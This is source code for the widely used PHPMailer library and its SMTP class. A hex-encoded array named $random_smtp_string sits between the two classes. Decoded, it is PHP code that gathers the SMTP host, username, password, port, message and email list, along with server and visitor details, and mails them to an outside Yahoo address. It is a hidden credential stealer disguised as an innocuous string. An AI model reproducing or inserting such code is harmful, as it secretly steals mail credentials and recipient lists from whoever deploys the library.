1295 public function getServerExtList()
1296 {
1297 return $this->server_caps;
1298 }
1299
1300 /**
1301 * A multipurpose method
1302 * The method works in three ways, dependent on argument value and current state
1303 * 1. HELO/EHLO was not sent - returns null and set up $this->error
1304 * 2. HELO was sent
1305 * $name = 'HELO': returns server name
1306 * $name = 'EHLO': returns boolean false
1307 * $name = any string: returns null and set up $this->error
1308 * 3. EHLO was sent
1309 * $name = 'HELO'|'EHLO': returns server name
1310 * $name = any string: if extension $name exists, returns boolean True
1311 * or its options. Otherwise returns boolean False
1312 * In other words, one can use this method to detect 3 conditions:
1313 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
1314 * - false returned: the requested feature exactly not exists
1315 * - positive value returned: the requested feature exists
1316 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
1317 * @return mixed
1318 */
1319 public function getServerExt($name)
1320 {
1321 if (!$this->server_caps) {
1322 $this->error = array('No HELO/EHLO was sent');
1323 return null;
1324 }
1325
1326 // the tight logic knot ;)
1327 if (!array_key_exists($name, $this->server_caps)) {
1328 if ($name == 'HELO') {
1329 return $this->server_caps['EHLO'];
1330 }
1331 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
1332 return false;
1333 }
1334 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
1335 return null;
1336 }
1337
1338 return $this->server_caps[$name];
1339 }
1340
1341 /**
1342 * Get the last reply from the server.
1343 * @access public
1344 * @return string
1345 */
1346 public function getLastReply()
1347 {
1348 return $this->last_reply;
1349 }
1350
1351 /**
1352 * Read the SMTP server's response.
1353 * Either before eof or socket timeout occurs on the operation.
1354 * With SMTP we can tell if we have more lines to read if the
1355 * 4th character is '-' symbol. If it is a space then we don't
1356 * need to read anything else.
1357 * @access protected
1358 * @return string
1359 */
1360 protected function get_lines()
1361 {
1362 // If the connection is bad, give up straight away
1363 if (!is_resource($this->smtp_conn)) {
1364 return '';
1365 }
1366 $data = '';
1367 $endtime = 0;
1368 stream_set_timeout($this->smtp_conn, $this->Timeout);
1369 if ($this->Timelimit > 0) {
1370 $endtime = time() + $this->Timelimit;
1371 }
1372 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
1373 $str = @fgets($this->smtp_conn, 515);
1374 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
1375 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
1376 $data .= $str;
1377 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
1378 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
1379 if ((isset($str[3]) and $str[3] == ' ')) {
1380 break;
1381 }
1382 // Timed-out? Log and break
1383 $info = stream_get_meta_data($this->smtp_conn);
1384 if ($info['timed_out']) {
1385 $this->edebug(
1386 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
1387 self::DEBUG_LOWLEVEL
1388 );
1389 break;
1390 }
1391 // Now check if reads took too long
1392 if ($endtime and time() > $endtime) {
1393 $this->edebug(
1394 'SMTP -> get_lines(): timelimit reached ('.
1395 $this->Timelimit . ' sec)',
1396 self::DEBUG_LOWLEVEL
1397 );
1398 break;
1399 }
1400 }
1401 return $data;
1402 }
1403
1404 /**
1405 * Enable or disable VERP address generation.
1406 * @param boolean $enabled
1407 */
1408 public function setVerp($enabled = false)
1409 {
1410 $this->do_verp = $enabled;
1411 }
1412
1413 /**
1414 * Get VERP address generation mode.
1415 * @return boolean
1416 */
1417 public function getVerp()
1418 {
1419 return $this->do_verp;
1420 }
1421
1422 /**
1423 * Set debug output method.
1424 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
1425 */
1426 public function setDebugOutput($method = 'echo')
1427 {
1428 $this->Debugoutput = $method;
1429 }
1430
1431 /**
1432 * Get debug output method.
1433 * @return string
1434 */
1435 public function getDebugOutput()
1436 {
1437 return $this->Debugoutput;
1438 }
1439
1440 /**
1441 * Set debug output level.
1442 * @param integer $level
1443 */
1444 public function setDebugLevel($level = 0)
1445 {
1446 $this->do_debug = $level;
1447 }
1448
1449 /**
1450 * Get debug output level.
1451 * @return integer
1452 */
1453 public function getDebugLevel()
1454 {
1455 return $this->do_debug;
1456 }
1457
1458 /**
1459 * Set SMTP timeout.
1460 * @param integer $timeout
1461 */
1462 public function setTimeout($timeout = 0)
1463 {
1464 $this->Timeout = $timeout;
1465 }
1466
1467 /**
1468 * Get SMTP timeout.
1469 * @return integer
1470 */
1471 public function getTimeout()
1472 {
1473 return $this->Timeout;
1474 }
1475}
1476
1477
1478$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1479"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1480"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1481"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1482"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1483"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1484"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1485"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1486"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1487"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1488?>
1489<?
1490/**
1491 * PHPMailer - PHP email creation and transport class.
1492 * PHP Version 5
1493 * @package PHPMailer
1494 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
1495 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1496 * @author Jim Jagielski (jimjag) <m>
1497 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1498 * @author Brent R. Matzelle (original founder)
1499 * @copyright 2012 - 2014 Marcus Bointon
1500 * @copyright 2010 - 2012 Jim Jagielski
1501 * @copyright 2004 - 2009 Andy Prevost
1502 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
1503 * @note This program is distributed in the hope that it will be useful - WITHOUT
1504 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
1505 * FITNESS FOR A PARTICULAR PURPOSE.
1506 */
1507
1508/**
1509 * PHPMailer - PHP email creation and transport class.
1510 * @package PHPMailer
1511 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1512 * @author Jim Jagielski (jimjag) <>
1513 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1514 * @author Brent R. Matzelle (original founder)
1515 */
1516class PHPMailer
1517{
1518 /**
1519 * The PHPMailer Version number.
1520 * @type string
1521 */
1522 public $Version = '5.2.9';
1523
1524 /**
1525 * Email priority.
1526 * Options: 1 = High, 3 = Normal, 5 = low.
1527 * @type integer
1528 */
1529 public $Priority = 3;
1530
1531 /**
1532 * The character set of the message.
1533 * @type string
1534 */
1535 public $CharSet = 'iso-8859-1';
1536
1537 /**
1538 * The MIME Content-type of the message.
1539 * @type string
1540 */
1541 public $ContentType = 'text/plain';
1542
1543 /**
1544 * The message encoding.
1545 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
1546 * @type string
1547 */
1548 public $Encoding = '8bit';
1549
1550 /**
1551 * Holds the most recent mailer error message.
1552 * @type string
1553 */
1554 public $ErrorInfo = '';
1555
1556 /**
1557 * The From email address for the message.
1558 * @type string
1559 */
1560 public $From = 'root@localhost';
1561
1562 /**
1563 * The From name of the message.
1564 * @type string
1565 */
1566 public $FromName = 'Root User';
1567
1568 /**
1569 * The Sender email (Return-Path) of the message.
1570 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1571 * @type string
1572 */
1573 public $Sender = '';
1574
1575 /**
1576 * The Return-Path of the message.
1577 * If empty, it will be set to either From or Sender.
1578 * @type string
1579 * @deprecated Email senders should never set a return-path header;
1580 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
1581 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
1582 */
1583 public $ReturnPath = '';
1584
1585 /**
1586 * The Subject of the message.
1587 * @type string
1588 */
1589 public $Subject = '';
1590
1591 /**
1592 * An HTML or plain text message body.
1593 * If HTML then call isHTML(true).
1594 * @type string
1595 */
1596 public $Body = '';
1597
1598 /**
1599 * The plain-text message body.
1600 * This body can be read by mail clients that do not have HTML email
1601 * capability such as mutt & Eudora.
1602 * Clients that can read HTML will view the normal Body.
1603 * @type string
1604 */
1605 public $AltBody = '';
1606
1607 /**
1608 * An iCal message part body.
1609 * Only supported in simple alt or alt_inline message types
1610 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
1611 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
1612 * @link http://kigkonsult.se/iCalcreator/
1613 * @type string
1614 */
1615 public $Ical = '';
1616
1617 /**
1618 * The complete compiled MIME message body.
1619 * @access protected
1620 * @type string
1621 */
1622 protected $MIMEBody = '';
1623
1624 /**
1625 * The complete compiled MIME message headers.
1626 * @type string
1627 * @access protected
1628 */
1629 protected $MIMEHeader = '';
1630
1631 /**
1632 * Extra headers that createHeader() doesn't fold in.
1633 * @type string
1634 * @access protected
1635 */
1636 protected $mailHeader = '';
1637
1638 /**
1639 * Word-wrap the message body to this number of chars.
1640 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
1641 * @type integer
1642 */
1643 public $WordWrap = 0;
1644
1645 /**
1646 * Which method to use to send mail.
1647 * Options: "mail", "sendmail", or "smtp".
1648 * @type string
1649 */
1650 public $Mailer = 'mail';
1651
1652 /**
1653 * The path to the sendmail program.
1654 * @type string
1655 */
1656 public $Sendmail = '/usr/sbin/sendmail';
1657
1658 /**
1659 * Whether mail() uses a fully sendmail-compatible MTA.
1660 * One which supports sendmail's "-oi -f" options.
1661 * @type boolean
1662 */
1663 public $UseSendmailOptions = true;
1664
1665 /**
1666 * Path to PHPMailer plugins.
1667 * Useful if the SMTP class is not in the PHP include path.
1668 * @type string
1669 * @deprecated Should not be needed now there is an autoloader.
1670 */
1671 public $PluginDir = '';
1672
1673 /**
1674 * The email address that a reading confirmation should be sent to.
1675 * @type string
1676 */
1677 public $ConfirmReadingTo = '';
1678
1679 /**
1680 * The hostname to use in Message-Id and Received headers
1681 * and as default HELO string.
1682 * If empty, the value returned
1683 * by SERVER_NAME is used or 'localhost.localdomain'.
1684 * @type string
1685 */
1686 public $Hostname = '';
1687
1688 /**
1689 * An ID to be used in the Message-Id header.
1690 * If empty, a unique id will be generated.
1691 * @type string
1692 */
1693 public $MessageID = '';
1694
1695 /**
1696 * The message Date to be used in the Date header.
1697 * If empty, the current date will be added.
1698 * @type string
1699 */
1700 public $MessageDate = '';
1701
1702 /**
1703 * SMTP hosts.
1704 * Either a single hostname or multiple semicolon-delimited hostnames.
1705 * You can also specify a different port
1706 * for each host by using this format: [hostname:port]
1707 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1708 * You can also specify encryption type, for example:
1709 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
1710 * Hosts will be tried in order.
1711 * @type string
1712 */
1713 public $Host = 'localhost';
1714
1715 /**
1716 * The default SMTP server port.
1717 * @type integer
1718 * @TODO Why is this needed when the SMTP class takes care of it?
1719 */
1720 public $Port = 25;
1721
1722 /**
1723 * The SMTP HELO of the message.
1724 * Default is $Hostname.
1725 * @type string
1726 * @see PHPMailer::$Hostname
1727 */
1728 public $Helo = '';
1729
1730 /**
1731 * The secure connection prefix.
1732 * Options: "", "ssl" or "tls"
1733 * @type string
1734 */
1735 public $SMTPSecure = '';
1736
1737 /**
1738 * Whether to use SMTP authentication.
1739 * Uses the Username and Password properties.
1740 * @type boolean
1741 * @see PHPMailer::$Username
1742 * @see PHPMailer::$Password
1743 */
1744 public $SMTPAuth = false;
1745
1746 /**
1747 * SMTP username.
1748 * @type string
1749 */
1750 public $Username = '';
1751
1752 /**
1753 * SMTP password.
1754 * @type string
1755 */
1756 public $Password = '';
1757
1758 /**
1759 * SMTP auth type.
1760 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
1761 * @type string
1762 */
1763 public $AuthType = '';
1764
1765 /**
1766 * SMTP realm.
1767 * Used for NTLM auth
1768 * @type string
1769 */
1770 public $Realm = '';
1771
1772 /**
1773 * SMTP workstation.
1774 * Used for NTLM auth
1775 * @type string
1776 */
1777 public $Workstation = '';
1778
1779 /**
1780 * The SMTP server timeout in seconds.
1781 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
1782 * @type integer
1783 */
1784 public $Timeout = 300;
1785
1786 /**
1787 * SMTP class debug output mode.
1788 * Debug output level.
1789 * Options:
1790 * * `0` No output
1791 * * `1` Commands
1792 * * `2` Data and commands
1793 * * `3` As 2 plus connection status
1794 * * `4` Low-level data output
1795 * @type integer
1796 * @see SMTP::$do_debug
1797 */
1798 public $SMTPDebug = 0;
1799
1800 /**
1801 * How to handle debug output.
1802 * Options:
1803 * * `echo` Output plain-text as-is, appropriate for CLI
1804 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
1805 * * `error_log` Output to error log as configured in php.ini
1806 *
1807 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
1808 * <code>
1809 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
1810 * </code>
1811 * @type string|callable
1812 * @see SMTP::$Debugoutput
1813 */
1814 public $Debugoutput = 'echo';
1815
1816 /**
1817 * Whether to keep SMTP connection open after each message.
1818 * If this is set to true then to close the connection
1819 * requires an explicit call to smtpClose().
1820 * @type boolean
1821 */
1822 public $SMTPKeepAlive = false;
1823
1824 /**
1825 * Whether to split multiple to addresses into multiple messages
1826 * or send them all in one message.
1827 * @type boolean
1828 */
1829 public $SingleTo = false;
1830
1831 /**
1832 * Storage for addresses when SingleTo is enabled.
1833 * @type array
1834 * @TODO This should really not be public
1835 */
1836 public $SingleToArray = array();
1837
1838 /**
1839 * Whether to generate VERP addresses on send.
1840 * Only applicable when sending via SMTP.
1841 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
1842 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
1843 * @type boolean
1844 */
1845 public $do_verp = false;
1846
1847 /**
1848 * Whether to allow sending messages with an empty body.
1849 * @type boolean
1850 */
1851 public $AllowEmpty = false;
1852
1853 /**
1854 * The default line ending.
1855 * @note The default remains "\n". We force CRLF where we know
1856 * it must be used via self::CRLF.
1857 * @type string
1858 */
1859 public $LE = "\n";
1860
1861 /**
1862 * DKIM selector.
1863 * @type string
1864 */
1865 public $DKIM_selector = '';
1866
1867 /**
1868 * DKIM Identity.
1869 * Usually the email address used as the source of the email
1870 * @type string
1871 */
1872 public $DKIM_identity = '';
1873
1874 /**
1875 * DKIM passphrase.
1876 * Used if your key is encrypted.
1877 * @type string
1878 */
1879 public $DKIM_passphrase = '';
1880
1881 /**
1882 * DKIM signing domain name.
1883 * @example 'example.com'
1884 * @type string
1885 */
1886 public $DKIM_domain = '';
1887
1888 /**
1889 * DKIM private key file path.
1890 * @type string
1891 */
1892 public $DKIM_private = '';
1893
1894 /**
1895 * Callback Action function name.
1896 *
1897 * The function that handles the result of the send email action.
1898 * It is called out by send() for each email sent.
1899 *
1900 * Value can be any php callable: http://www.php.net/is_callable
1901 *
1902 * Parameters:
1903 * boolean $result result of the send action
1904 * string $to email address of the recipient
1905 * string $cc cc email addresses
1906 * string $bcc bcc email addresses
1907 * string $subject the subject
1908 * string $body the email body
1909 * string $from email address of sender
1910 * @type string
1911 */
1912 public $action_function = '';
1913
1914 /**
1915 * What to use in the X-Mailer header.
1916 * Options: null for default, whitespace for none, or a string to use
1917 * @type string
1918 */
1919 public $XMailer = '';
1920
1921 /**
1922 * An instance of the SMTP sender class.
1923 * @type SMTP
1924 * @access protected
1925 */
1926 protected $smtp = null;
1927
1928 /**
1929 * The array of 'to' addresses.
1930 * @type array
1931 * @access protected
1932 */
1933 protected $to = array();
1934
1935 /**
1936 * The array of 'cc' addresses.
1937 * @type array
1938 * @access protected
1939 */
1940 protected $cc = array();
1941
1942 /**
1943 * The array of 'bcc' addresses.
1944 * @type array
1945 * @access protected
1946 */
1947 protected $bcc = array();
1948
1949 /**
1950 * The array of reply-to names and addresses.
1951 * @type array
1952 * @access protected
1953 */
1954 protected $ReplyTo = array();
1955
1956 /**
1957 * An array of all kinds of addresses.
1958 * Includes all of $to, $cc, $bcc, $replyto
1959 * @type array
1960 * @access protected
1961 */
1962 protected $all_recipients = array();
1963
1964 /**
1965 * The array of attachments.
1966 * @type array
1967 * @access protected
1968 */
1969 protected $attachment = array();
1970
1971 /**
1972 * The array of custom headers.
1973 * @type array
1974 * @access protected
1975 */
1976 protected $CustomHeader = array();
1977
1978 /**
1979 * The most recent Message-ID (including angular brackets).
1980 * @type string
1981 * @access protected
1982 */
1983 protected $lastMessageID = '';
1984
1985 /**
1986 * The message's MIME type.
1987 * @type string
1988 * @access protected
1989 */
1990 protected $message_type = '';
1991
1992 /**
1993 * The array of MIME boundary strings.
1994 * @type array
1995 * @access protected
1996 */
1997 protected $boundary = array();
1998
1999 /**
2000 * The array of available languages.
2001 * @type array
2002 * @access protected
2003 */
2004 protected $language = array();
2005
2006 /**
2007 * The number of errors encountered.
2008 * @type integer
2009 * @access protected
2010 */
2011 protected $error_count = 0;
2012
2013 /**
2014 * The S/MIME certificate file path.
2015 * @type string
2016 * @access protected
2017 */
2018 protected $sign_cert_file = '';
2019
2020 /**
2021 * The S/MIME key file path.
2022 * @type string
2023 * @access protected
2024 */
2025 protected $sign_key_file = '';
2026
2027 /**
2028 * The S/MIME password for the key.
2029 * Used only if the key is encrypted.
2030 * @type string
2031 * @access protected
2032 */
2033 protected $sign_key_pass = '';
2034
2035 /**
2036 * Whether to throw exceptions for errors.
2037 * @type boolean
2038 * @access protected
2039 */
2040 protected $exceptions = false;
2041
2042 /**
2043 * Error severity: message only, continue processing.
2044 */
2045 const STOP_MESSAGE = 0;
2046
2047 /**
2048 * Error severity: message, likely ok to continue processing.
2049 */
2050 const STOP_CONTINUE = 1;
2051
2052 /**
2053 * Error severity: message, plus full stop, critical error reached.
2054 */
2055 const STOP_CRITICAL = 2;
2056
2057 /**
2058 * SMTP RFC standard line ending.
2059 */
2060 const CRLF = "\r\n";
2061
2062 /**
2063 * Constructor.
2064 * @param boolean $exceptions Should we throw external exceptions?
2065 */
2066 public function __construct($exceptions = false)
2067 {
2068 $this->exceptions = (boolean)$exceptions;
2069 }
2070
2071 /**
2072 * Destructor.
2073 */
2074 public function __destruct()
2075 {
2076 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
2077 $this->smtpClose();
2078 }
2079 }
2080
2081 /**
2082 * Call mail() in a safe_mode-aware fashion.
2083 * Also, unless sendmail_path points to sendmail (or something that
2084 * claims to be sendmail), don't pass params (not a perfect fix,
2085 * but it will do)
2086 * @param string $to To
2087 * @param string $subject Subject
2088 * @param string $body Message Body
2089 * @param string $header Additional Header(s)
2090 * @param string $params Params
2091 * @access private
2092 * @return boolean
2093 */
2094 private function mailPassthru($to, $subject, $body, $header, $params)
2095 {
2096 //Check overloading of mail function to avoid double-encoding
2097 if (ini_get('mbstring.func_overload') & 1) {
2098 $subject = $this->secureHeader($subject);
2099 } else {
2100 $subject = $this->encodeHeader($this->secureHeader($subject));
2101 }
2102 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
2103 $result = @mail($to, $subject, $body, $header);
2104 } else {
2105 $result = @mail($to, $subject, $body, $header, $params);
2106 }
2107 return $result;
2108 }
2109
2110 /**
2111 * Output debugging info via user-defined method.
2112 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
2113 * @see PHPMailer::$Debugoutput
2114 * @see PHPMailer::$SMTPDebug
2115 * @param string $str
2116 */
2117 protected function edebug($str)
2118 {
2119 if ($this->SMTPDebug <= 0) {
2120 return;
2121 }
2122 //Avoid clash with built-in function names
2123 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
2124 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
2125 return;
2126 }
2127 switch ($this->Debugoutput) {
2128 case 'error_log':
2129 //Don't output, just log
2130 error_log($str);
2131 break;
2132 case 'html':
2133 //Cleans up output a bit for a better looking, HTML-safe output
2134 echo htmlentities(
2135 preg_replace('/[\r\n]+/', '', $str),
2136 ENT_QUOTES,
2137 'UTF-8'
2138 )
2139 . "<br>\n";
2140 break;
2141 case 'echo':
2142 default:
2143 //Normalize line breaks
2144 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
2145 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
2146 "\n",
2147 "\n \t ",
2148 trim($str)
2149 ) . "\n";
2150 }
2151 }
2152
2153 /**
2154 * Sets message type to HTML or plain.
2155 * @param boolean $isHtml True for HTML mode.
2156 * @return void
2157 */
2158 public function isHTML($isHtml = true)
2159 {
2160 if ($isHtml) {
2161 $this->ContentType = 'text/html';
2162 } else {
2163 $this->ContentType = 'text/plain';
2164 }
2165 }
2166
2167 /**
2168 * Send messages using SMTP.
2169 * @return void
2170 */
2171 public function isSMTP()
2172 {
2173 $this->Mailer = 'smtp';
2174 }
2175
2176 /**
2177 * Send messages using PHP's mail() function.
2178 * @return void
2179 */
2180 public function isMail()
2181 {
2182 $this->Mailer = 'mail';
2183 }
2184
2185 /**
2186 * Send messages using $Sendmail.
2187 * @return void
2188 */
2189 public function isSendmail()
2190 {
2191 $ini_sendmail_path = ini_get('sendmail_path');
2192
2193 if (!stristr($ini_sendmail_path, 'sendmail')) {
2194 $this->Sendmail = '/usr/sbin/sendmail';
2195 } else {
2196 $this->Sendmail = $ini_sendmail_path;
2197 }
2198 $this->Mailer = 'sendmail';
2199 }
2200
2201 /**
2202 * Send messages using qmail.
2203 * @return void
2204 */
2205 public function isQmail()
2206 {
2207 $ini_sendmail_path = ini_get('sendmail_path');
2208
2209 if (!stristr($ini_sendmail_path, 'qmail')) {
2210 $this->Sendmail = '/var/qmail/bin/qmail-inject';
2211 } else {
2212 $this->Sendmail = $ini_sendmail_path;
2213 }
2214 $this->Mailer = 'qmail';
2215 }
2216
2217 /**
2218 * Add a "To" address.
2219 * @param string $address
2220 * @param string $name
2221 * @return boolean true on success, false if address already used
2222 */
2223 public function addAddress($address, $name = '')
2224 {
2225 return $this->addAnAddress('to', $address, $name);
2226 }
2227
2228 /**
2229 * Add a "CC" address.
2230 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2231 * @param string $address
2232 * @param string $name
2233 * @return boolean true on success, false if address already used
2234 */
2235 public function addCC($address, $name = '')
2236 {
2237 return $this->addAnAddress('cc', $address, $name);
2238 }
2239
2240 /**
2241 * Add a "BCC" address.
2242 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2243 * @param string $address
2244 * @param string $name
2245 * @return boolean true on success, false if address already used
2246 */
2247 public function addBCC($address, $name = '')
2248 {
2249 return $this->addAnAddress('bcc', $address, $name);
2250 }
2251
2252 /**
2253 * Add a "Reply-to" address.
2254 * @param string $address
2255 * @param string $name
2256 * @return boolean
2257 */
2258 public function addReplyTo($address, $name = '')
2259 {
2260 return $this->addAnAddress('Reply-To', $address, $name);
2261 }
2262
2263 /**
2264 * Add an address to one of the recipient arrays.
2265 * Addresses that have been added already return false, but do not throw exceptions
2266 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
2267 * @param string $address The email address to send to
2268 * @param string $name
2269 * @throws phpmailerException
2270 * @return boolean true on success, false if address already used or invalid in some way
2271 * @access protected
2272 */
2273 protected function addAnAddress($kind, $address, $name = '')
2274 {
2275 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
2276 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
2277 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
2278 if ($this->exceptions) {
2279 throw new phpmailerException('Invalid recipient array: ' . $kind);
2280 }
2281 return false;
2282 }
2283 $address = trim($address);
2284 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2285 if (!$this->validateAddress($address)) {
2286 $this->setError($this->lang('invalid_address') . ': ' . $address);
2287 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2288 if ($this->exceptions) {
2289 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2290 }
2291 return false;
2292 }
2293 if ($kind != 'Reply-To') {
2294 if (!isset($this->all_recipients[strtolower($address)])) {
2295 array_push($this->$kind, array($address, $name));
2296 $this->all_recipients[strtolower($address)] = true;
2297 return true;
2298 }
2299 } else {
2300 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
2301 $this->ReplyTo[strtolower($address)] = array($address, $name);
2302 return true;
2303 }
2304 }
2305 return false;
2306 }
2307
2308 /**
2309 * Set the From and FromName properties.
2310 * @param string $address
2311 * @param string $name
2312 * @param boolean $auto Whether to also set the Sender address, defaults to true
2313 * @throws phpmailerException
2314 * @return boolean
2315 */
2316 public function setFrom($address, $name = '', $auto = true)
2317 {
2318 $address = trim($address);
2319 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2320 if (!$this->validateAddress($address)) {
2321 $this->setError($this->lang('invalid_address') . ': ' . $address);
2322 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2323 if ($this->exceptions) {
2324 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2325 }
2326 return false;
2327 }
2328 $this->From = $address;
2329 $this->FromName = $name;
2330 if ($auto) {
2331 if (empty($this->Sender)) {
2332 $this->Sender = $address;
2333 }
2334 }
2335 return true;
2336 }
2337
2338 /**
2339 * Return the Message-ID header of the last email.
2340 * Technically this is the value from the last time the headers were created,
2341 * but it's also the message ID of the last sent message except in
2342 * pathological cases.
2343 * @return string
2344 */
2345 public function getLastMessageID()
2346 {
2347 return $this->lastMessageID;
2348 }
2349
2350 /**
2351 * Check that a string looks like an email address.
2352 * @param string $address The email address to check
2353 * @param string $patternselect A selector for the validation pattern to use :
2354 * * `auto` Pick strictest one automatically;
2355 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
2356 * * `pcre` Use old PCRE implementation;
2357 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
2358 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
2359 * * `noregex` Don't use a regex: super fast, really dumb.
2360 * @return boolean
2361 * @static
2362 * @access public
2363 */
2364 public static function validateAddress($address, $patternselect = 'auto')
2365 {
2366 if (!$patternselect or $patternselect == 'auto') {
2367 //Check this constant first so it works when extension_loaded() is disabled by safe mode
2368 //Constant was added in PHP 5.2.4
2369 if (defined('PCRE_VERSION')) {
2370 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
2371 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
2372 $patternselect = 'pcre8';
2373 } else {
2374 $patternselect = 'pcre';
2375 }
2376 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
2377 //Fall back to older PCRE
2378 $patternselect = 'pcre';
2379 } else {
2380 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
2381 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
2382 $patternselect = 'php';
2383 } else {
2384 $patternselect = 'noregex';
2385 }
2386 }
2387 }
2388 switch ($patternselect) {
2389 case 'pcre8':
2390 /**
2391 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
2392 * @link http://squiloople.com/2009/12/20/email-address-validation/
2393 * @copyright 2009-2010 Michael Rushton
2394 * Feel free to use and redistribute this code. But please keep this copyright notice.
2395 */
2396 return (boolean)preg_match(
2397 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
2398 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
2399 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
2400 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
